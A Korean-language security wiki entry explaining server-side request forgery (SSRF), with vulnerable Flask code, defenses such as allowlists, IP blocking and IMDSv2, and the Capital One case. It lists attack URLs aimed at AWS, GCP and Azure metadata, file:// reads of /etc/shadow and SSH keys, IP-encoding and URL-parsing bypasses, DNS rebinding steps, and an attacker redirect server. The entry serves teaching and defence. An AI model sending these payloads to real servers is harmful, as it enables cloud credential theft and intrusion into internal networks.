상위: Web Security
요약
SSRF(Server-Side Request Forgery)는 서버가 사용자 입력을 기반으로 HTTP 요청을 보낼 때, 공격자가 이를 조작하여 내부 시스템에 접근하는 공격입니다. 클라우드 환경(AWS, GCP)에서 메타데이터 탈취에 특히 위험합니다.
공격 원리
정상 흐름:
사용자 → [URL 입력] → 서버 → [외부 URL 요청] → 외부 서버
SSRF 공격:
공격자 → [내부 URL 입력] → 서버 → [내부 시스템 접근] → 내부 서버/메타데이터
취약한 기능 예시
- 이미지 URL로 썸네일 생성
- PDF 생성기 (외부 리소스 로드)
- 웹훅 URL 설정
- RSS/피드 구독
취약한 코드
# 취약한 코드
@app.route('/fetch')
def fetch_url():
url = request.args.get('url')
response = requests.get(url) # 사용자 입력을 그대로 사용
return response.text
공격:
GET /fetch?url=http://169.254.169.254/latest/meta-data/
→ AWS 인스턴스 메타데이터 노출
공격 유형
1. 내부 네트워크 스캔
GET /fetch?url=http://192.168.1.1/
GET /fetch?url=http://192.168.1.2/
GET /fetch?url=http://10.0.0.1:22/
→ 내부 서버 및 열린 포트 탐색
2. 클라우드 메타데이터 탈취 (가장 위험)
AWS:
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/user-data/
GCP:
http://metadata.google.internal/computeMetadata/v1/
Azure:
http://169.254.169.254/metadata/instance
탈취 가능한 정보
// AWS IAM 자격증명
{
"AccessKeyId": "AKIA...",
"SecretAccessKey": "wJalrXUt...",
"Token": "FwoGZXIvYXdzEB...",
"Expiration": "2024-01-15T12:00:00Z"
}
→ 이 자격증명으로 AWS 리소스 무단 접근 가능
3. 로컬 파일 읽기
GET /fetch?url=file:///etc/passwd
GET /fetch?url=file:///etc/shadow
GET /fetch?url=file:///home/user/.ssh/id_rsa
4. 내부 서비스 접근
# Redis
GET /fetch?url=http://localhost:6379/
# Elasticsearch
GET /fetch?url=http://localhost:9200/_cat/indices
# Kubernetes API
GET /fetch?url=https://kubernetes.default.svc/api/v1/
우회 기법
IP 주소 우회
# localhost 우회
http://127.0.0.1
http://127.0.0.2
http://0.0.0.0
http://localhost
http://[::1]
http://127.1
http://0
# 169.254.169.254 우회
http://169.254.169.254.nip.io
http://0251.0376.0251.0376 (8진수)
http://0xa9fea9fe (16진수)
http://2852039166 (10진수)
DNS Rebinding
1. 공격자 도메인: attacker.com
2. 첫 번째 DNS 조회: 정상 외부 IP 반환 (검증 통과)
3. TTL 만료 후 두 번째 조회: 127.0.0.1 반환
4. 내부 시스템 접근 성공
URL 파싱 우회
http://[email protected]/
http://127.0.0.1#@evil.com
http://127.0.0.1%[email protected]
http://evil.com\@127.0.0.1
리다이렉트 이용
# 공격자 서버
@app.route('/redirect')
def redirect():
return redirect('http://169.254.169.254/latest/meta-data/')
GET /fetch?url=http://attacker.com/redirect
→ 서버가 리다이렉트 따라감 → 메타데이터 접근
방어 방법
1. 화이트리스트 방식
ALLOWED_HOSTS = ['api.trusted.com', 'cdn.trusted.com']
def fetch_url(url):
parsed = urlparse(url)
if parsed.hostname not in ALLOWED_HOSTS:
raise ValueError("허용되지 않은 호스트")
return requests.get(url)
2. 내부 IP 차단
import ipaddress
def is_internal_ip(ip):
ip_obj = ipaddress.ip_address(ip)
return (
ip_obj.is_private or
ip_obj.is_loopback or
ip_obj.is_link_local # 169.254.x.x
)
def fetch_url(url):
parsed = urlparse(url)
ip = socket.gethostbyname(parsed.hostname)
if is_internal_ip(ip):
raise ValueError("내부 IP 접근 차단")
return requests.get(url)
3. 프로토콜 제한
ALLOWED_SCHEMES = ['http', 'https']
def fetch_url(url):
parsed = urlparse(url)
if parsed.scheme not in ALLOWED_SCHEMES:
raise ValueError("허용되지 않은 프로토콜")
4. DNS Rebinding 방어
import socket
def fetch_url_safe(url):
parsed = urlparse(url)
# 1. DNS 조회
ip = socket.gethostbyname(parsed.hostname)
# 2. IP 검증
if is_internal_ip(ip):
raise ValueError("내부 IP 차단")
# 3. IP로 직접 요청 (DNS 재조회 방지)
new_url = url.replace(parsed.hostname, ip)
return requests.get(new_url, headers={'Host': parsed.hostname})
5. AWS IMDSv2 사용 (필수)
# IMDSv2 강제 설정
aws ec2 modify-instance-metadata-options \
--instance-id i-1234567890abcdef0 \
--http-tokens required
IMDSv1 vs IMDSv2:
# IMDSv1 (취약)
curl http://169.254.169.254/latest/meta-data/
# IMDSv2 (안전)
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" \
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl http://169.254.169.254/latest/meta-data/ \
-H "X-aws-ec2-metadata-token: $TOKEN"
SSRF로는 PUT 요청과 커스텀 헤더를 보내기 어려움 → IMDSv2로 방어
6. 네트워크 분리
웹 서버 → 외부 요청용 프록시 → 인터넷
(내부 네트워크 접근 차단)
실제 사례
Capital One 해킹 (2019)
- SSRF로 AWS 메타데이터 탈취
- IAM 자격증명 획득
- S3 버킷 접근
- 1억 명 이상 개인정보 유출
테스트 페이로드
# 메타데이터
http://169.254.169.254/latest/meta-data/
http://metadata.google.internal/
# 내부 네트워크
http://127.0.0.1/
http://localhost/
http://192.168.0.1/
# 파일 프로토콜
file:///etc/passwd
# 우회 기법
http://0x7f000001/
http://2130706433/
관련 공격
- XXE - XML을 통한 SSRF 수행 가능
- Path Traversal - 파일 시스템 접근
- Command Injection - 서버 명령어 실행